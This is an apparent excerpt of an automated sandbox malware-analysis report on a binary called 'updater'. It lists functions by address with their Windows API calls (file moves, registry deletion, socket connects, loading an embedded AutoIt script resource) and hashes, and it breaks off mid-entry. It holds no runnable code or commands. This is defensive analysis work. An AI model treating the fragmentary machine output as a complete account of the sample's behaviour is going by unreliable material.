Opcode Fuzzy Hash: b6180b77e0d3c3c484b6e15a3f99fd1faf0341d4d1fe175e5076f596df028930
Instruction Fuzzy Hash: 7D417FA5C20658B6CB51FBB488469CFB3F8AF09310F508896E519E3221F734A759C3E6

Function 00C13B64 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C14BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00C13B8A,?), ref: 00C14BE0

Part of subcall function 00C14BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00C13B8A,?), ref: 00C14BF9

lstrcmpiW.KERNEL32(?,?), ref: 00C13BAA
_wcscmp.LIBCMT ref: 00C13BC6
MoveFileW.KERNEL32(?,?), ref: 00C13BDE
_wcscat.LIBCMT ref: 00C13C26
SHFileOperationW.SHELL32(?), ref: 00C13C92

Strings

\*.*, xrefs: 00C13C20

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 40c3598ac41648d3a8364306c9e49f8b2e60d6d321aee9030895c80a8ca3f11a
Instruction ID: 255d3d0360d954223e722fade55393e8a14fe3ed4fef8c9f332abfec22f45eed
Opcode Fuzzy Hash: 40c3598ac41648d3a8364306c9e49f8b2e60d6d321aee9030895c80a8ca3f11a
Instruction Fuzzy Hash: 9C418E7150C3849AC756EF64C481ADFB7E8AF8A340F50096EF49AD3291EB34D7889752

Function 00C378B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C378CF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C37976
IsMenu.USER32(?), ref: 00C3798E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00C379D6
DrawMenuBar.USER32 ref: 00C379E9

Strings

0, xrefs: 00C378C3

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 8c6b9c944f381a63056e5f8850a38922b67199e5f6f5a531079b583ff87229be
Instruction ID: fe6209cbc063f707dfb96ea2a95106f84cd162465057afeffb020d43ecbb1920
Opcode Fuzzy Hash: 8c6b9c944f381a63056e5f8850a38922b67199e5f6f5a531079b583ff87229be
Instruction Fuzzy Hash: 624137B5A14309EFDB20DF54D884B9EBBF5FB09311F048269E955A7250C730AE50CFA0

Function 00C31602 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00C31631
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00C3165B
FreeLibrary.KERNEL32(00000000), ref: 00C31712

Part of subcall function 00C31602: RegCloseKey.ADVAPI32(?), ref: 00C31678
Part of subcall function 00C31602: FreeLibrary.KERNEL32(?), ref: 00C316CA
Part of subcall function 00C31602: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00C316ED

RegDeleteKeyW.ADVAPI32(?,?), ref: 00C316B5

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 98be67e7e4fb950b6d9a882297f77bacb1702b33bfbad90ddc94d11f4d978130
Instruction ID: e4cc34ea4ae0f23217006bb5027545fd7a85dbd431aebe74ef3eae58743e49de
Opcode Fuzzy Hash: 98be67e7e4fb950b6d9a882297f77bacb1702b33bfbad90ddc94d11f4d978130
Instruction Fuzzy Hash: D7312BB5911109BFDB149B90DC8AFFEB7BCEF09300F180169F912A2151EA749F459BA0

Function 00C368F2 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00C36911
GetWindowLongW.USER32(011CDF18,000000F0), ref: 00C36944
GetWindowLongW.USER32(011CDF18,000000F0), ref: 00C36979
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00C369AB
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00C369D5
GetWindowLongW.USER32(00000000,000000F0), ref: 00C369E6
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00C36A00

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: e51ce3092cfbfd20088f324ae19e010d33179f745c3066eed86ef4c84e9651f5
Instruction ID: acc8b3952087ef3a1aae96338aa1820fe42a527ba89106c9b419ee27feec4e2f
Opcode Fuzzy Hash: e51ce3092cfbfd20088f324ae19e010d33179f745c3066eed86ef4c84e9651f5
Instruction Fuzzy Hash: 9B317E35654254AFDB20CF18DC88F6837E1FB4A360F2981A4FA199F2B2CB71AD50DB51

Function 00C0E287 Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00C0E2CA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00C0E2F0
SysAllocString.OLEAUT32(00000000), ref: 00C0E2F3
SysAllocString.OLEAUT32(?), ref: 00C0E311
SysFreeString.OLEAUT32(?), ref: 00C0E31A
StringFromGUID2.OLE32(?,?,00000028), ref: 00C0E33F
SysAllocString.OLEAUT32(?), ref: 00C0E34D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: e85ad5312a5a5a545dcf628ff86a707f9b9fece8ee0021cac594cdb6f5a2079e
Instruction ID: 3218501590b13a43c81b99da10337617f867f75a93f4258e28e73ea80c153ca4
Opcode Fuzzy Hash: e85ad5312a5a5a545dcf628ff86a707f9b9fece8ee0021cac594cdb6f5a2079e
Instruction Fuzzy Hash: F2218376644219AFDB10DFA8DC88DBF77ACFB09360B148525FE14DB2A0D670AD41CB60

Function 00C2685E Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00C28475: inet_addr.WSOCK32(00000000), ref: 00C284A0

socket.WSOCK32(00000002,00000001,00000006), ref: 00C268B1
WSAGetLastError.WSOCK32(00000000), ref: 00C268C0
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00C268F9
connect.WSOCK32(00000000,?,00000010), ref: 00C26902
WSAGetLastError.WSOCK32 ref: 00C2690C
closesocket.WSOCK32(00000000), ref: 00C26935
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00C2694E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 39d9f6cb10b30b09a6ad63a85bca4f39af390222c830e18c7dbcab3d8df9652a
Instruction ID: fe45e3431a62913e175409cb47b98872daf203457b5900dc43ed821322dd1d06
Opcode Fuzzy Hash: 39d9f6cb10b30b09a6ad63a85bca4f39af390222c830e18c7dbcab3d8df9652a
Instruction Fuzzy Hash: 8231D171600228AFDB10AF24DC85BBE77F9EB45720F044069FA05AB2D1CBB0AD44CBA1

Function 00C0E360 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00C0E3A5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00C0E3CB
SysAllocString.OLEAUT32(00000000), ref: 00C0E3CE
SysAllocString.OLEAUT32 ref: 00C0E3EF
SysFreeString.OLEAUT32 ref: 00C0E3F8
StringFromGUID2.OLE32(?,?,00000028), ref: 00C0E412
SysAllocString.OLEAUT32(?), ref: 00C0E420

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: ca5584d800336c7c3c814c6e09c7457a1c3238070df50aad3f3488b6f4d0f0a7
Instruction ID: ff475cd7300d0072fea7e8757de18b8eed58a523e8e370438d00ebb1997aa7c5
Opcode Fuzzy Hash: ca5584d800336c7c3c814c6e09c7457a1c3238070df50aad3f3488b6f4d0f0a7
Instruction Fuzzy Hash: 24215635644204AFEB149FE8DC89EAE77ECFB09360B508529FB15CB2A1D670ED41CB64

Function 00C0FE19 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00C0FE2C
__wcsnicmp.LIBCMT ref: 00C0FE4D
__wcsnicmp.LIBCMT ref: 00C0FE67

Strings

#requireadmin, xrefs: 00C0FE47
#OnAutoItStartRegister, xrefs: 00C0FE61
#notrayicon, xrefs: 00C0FE24

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 2eece078e969457e05d00fa66e14bb6b3198c75edaba8d6918912a3275494458
Instruction ID: 3868931601d241b7531d56367ed9a2bc93e23e6908351e65dd8bad526a260e24
Opcode Fuzzy Hash: 2eece078e969457e05d00fa66e14bb6b3198c75edaba8d6918912a3275494458
Instruction Fuzzy Hash: 0D21373210415266D330AB25DC16FABB3D8EF91700F50443EF86686AE3E7A59EC3C295

Function 00C37BF2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00BB214F
Part of subcall function 00BB2111: GetStockObject.GDI32(00000011), ref: 00BB2163
Part of subcall function 00BB2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00BB216D

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00C37C57
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00C37C64
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00C37C6F
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00C37C7E
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00C37C8A

Strings

Msctls_Progress32, xrefs: 00C37C28

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 72b729d3b94bfa5d8efcc4cf8fc7630a4497bbc7f375ef15bbd9f29c75de2c64
Instruction ID: 0bc35c20f7f06ebfaf4d294acb5b20fcd68c924d80fbdf673256706eeaea595f
Opcode Fuzzy Hash: 72b729d3b94bfa5d8efcc4cf8fc7630a4497bbc7f375ef15bbd9f29c75de2c64
Instruction Fuzzy Hash: 921193B2150219BEEF258F60CC85EEB7F5DEF09798F015214BB08A2050C6719C21DBA0

Function 00C19ED8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00C00817,?,?,00000000,00000000), ref: 00C19EE8
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00C00817,?,?,00000000,00000000), ref: 00C19EFF
LoadResource.KERNEL32(?,00000000,?,?,00C00817,?,?,00000000,00000000,?,?,?,?,?,?,00BC4A14), ref: 00C19F0F
SizeofResource.KERNEL32(?,00000000,?,?,00C00817,?,?,00000000,00000000,?,?,?,?,?,?,00BC4A14), ref: 00C19F20
LockResource.KERNEL32(00C00817,?,?,00C00817,?,?,00000000,00000000,?,?,?,?,?,?,00BC4A14,00000000), ref: 00C19F2F

Strings

SCRIPT, xrefs: 00C19EF5

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 0090963a48bc87fce127d4b46f33ba3934dfbcb4f81a4b8ea31ab5c8c583c83f
Instruction ID: bd0b20cc2087c21e0472ce949dd33408766f3830441fe1008e4091bfae0ddf9c
Opcode Fuzzy Hash: 0090963a48bc87fce127d4b46f33ba3934dfbcb4f81a4b8ea31ab5c8c583c83f
Instruction Fuzzy Hash: 87117C74240700BFE7248B65DC48F677BB9EBC6B11F20426CBA19D62A0DB71EC45D660

Function 012579A5 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0125780D: VirtualQuery.KERNEL32(?,?,0000001C), ref: 01257829
Part of subcall function 0125780D: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0125784D
Part of subcall function 0125780D: GetModuleFileNameA.KERNEL32(00BB0000,?,00000105), ref: 01257868
Part of subcall function 0125780D: LoadStringA.USER32(00000000,0000FFE8,?,00000100), ref: 0125790C

CharToOemA.USER32(?,?), ref: 012579DC
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 012579F9
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 012579FF
GetStdHandle.KERNEL32(000000F4,01257A69,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 01257A14
WriteFile.KERNEL32(00000000,000000F4,01257A69,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 01257A1A
LoadStringA.USER32(00000000,0000FFE9,?,00000040), ref: 01257A3C
MessageBoxA.USER32(00000000,?,?,00002010), ref: 01257A52

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 2f3fc1932a58bad0feda956b3600b1f280b68ce19c846ce6aee34dd0e75351d8
Instruction ID: 3c2e92de94969eb5cdde85ba09e261ccec63de1389f078b2cf0d4f8121e48458
Opcode Fuzzy Hash: 2f3fc1932a58bad0feda956b3600b1f280b68ce19c846ce6aee34dd0e75351d8
Instruction Fuzzy Hash: 6D1170B26642067AD380FBE4DCC9FBB73ECAB54340F404515BF44D60E0EA70D9448762

Function 00BD9D16 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00BD9D16

Part of subcall function 00BD33B7: EncodePointer.KERNEL32(00000000), ref: 00BD33BA
Part of subcall function 00BD33B7: __initp_misc_winsig.LIBCMT ref: 00BD33D5
Part of subcall function 00BD33B7: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00BDA0D0
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00BDA0E4
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00BDA0F7
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00BDA10A
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00BDA11D
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00BDA130
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00BDA143
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00BDA156
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00BDA169
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00BDA17C
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00BDA18F
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00BDA1A2
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00BDA1B5
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00BDA1C8
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00BDA1DB
Part of subcall function 00BD33B7: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00BDA1EE

__mtinitlocks.LIBCMT ref: 00BD9D1B
__mtterm.LIBCMT ref: 00BD9D24

Part of subcall function 00BD9D8C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00BD9D29,00BD7EFD,00C6CD38,00000014), ref: 00BD9E86
Part of subcall function 00BD9D8C: _free.LIBCMT ref: 00BD9E8D
Part of subcall function 00BD9D8C: DeleteCriticalSection.KERNEL32(00C70C00,?,?,00BD9D29,00BD7EFD,00C6CD38,00000014), ref: 00BD9EAF

__calloc_crt.LIBCMT ref: 00BD9D49
__initptd.LIBCMT ref: 00BD9D6B
GetCurrentThreadId.KERNEL32 ref: 00BD9D72

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 400220dcc4f43727da60f816469c1f7cbe31ba9352aab877d68e69a7f0989c56
Instruction ID: 48d82c70303b783f1846ce6b869b048dedcd0bab0dc87e2820af18f7430511bb
Opcode Fuzzy Hash: 400220dcc4f43727da60f816469c1f7cbe31ba9352aab877d68e69a7f0989c56
Instruction Fuzzy Hash: 58F06D325597116AE7387B78BC0378AEAD6DB41730F2006ABF554D53D3FF1088418290

Function 00BD41B9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00BD4282,?), ref: 00BD41D3
GetProcAddress.KERNEL32(00000000), ref: 00BD41DA
EncodePointer.KERNEL32(00000000), ref: 00BD41E6
DecodePointer.KERNEL32(00000001,00BD4282,?), ref: 00BD4203

Strings

combase.dll, xrefs: 00BD41CE
RoInitialize, xrefs: 00BD41C2

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 4d833ff665d77d29b6c7fbe7c95e5089a1fc352f50a61530cb3c75a42a911820
Instruction ID: 7bf996c05d54ea48413b8cddcaab7992363579c535fceb120ec68be6fa33a7ff
Opcode Fuzzy Hash: 4d833ff665d77d29b6c7fbe7c95e5089a1fc352f50a61530cb3c75a42a911820
Instruction Fuzzy Hash: 19E0E578A90741AFEF205F70ED4EB0C3AA4B752B07FA04424BA05E51A0DBF544848E00

Function 00BD428E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00BD41A8), ref: 00BD42A8
GetProcAddress.KERNEL32(00000000), ref: 00BD42AF
EncodePointer.KERNEL32(00000000), ref: 00BD42BA
DecodePointer.KERNEL32(00BD41A8), ref: 00BD42D5

Strings

combase.dll, xrefs: 00BD42A3
RoUninitialize, xrefs: 00BD4297

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 54507af664a83fc59b845d60766af699d8284dfd81130130ccbfa5ab12dfa856
Instruction ID: b72d058ec9a3294b74060f74565c4a8064d3fae8bc41bc234a6e23ba639d8edb
Opcode Fuzzy Hash: 54507af664a83fc59b845d60766af699d8284dfd81130130ccbfa5ab12dfa856
Instruction Fuzzy Hash: 55E0B674AA0B00ABEB109F60AD0DB4D3AA8B741B03FA00529F605D51F0DBF44584CA10

Function 00BB218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00BB21B8
GetWindowRect.USER32(?,?), ref: 00BB21F9
ScreenToClient.USER32(?,?), ref: 00BB2221
GetClientRect.USER32(?,?), ref: 00BB2350
GetWindowRect.USER32(?,?), ref: 00BB2369

Memory Dump Source

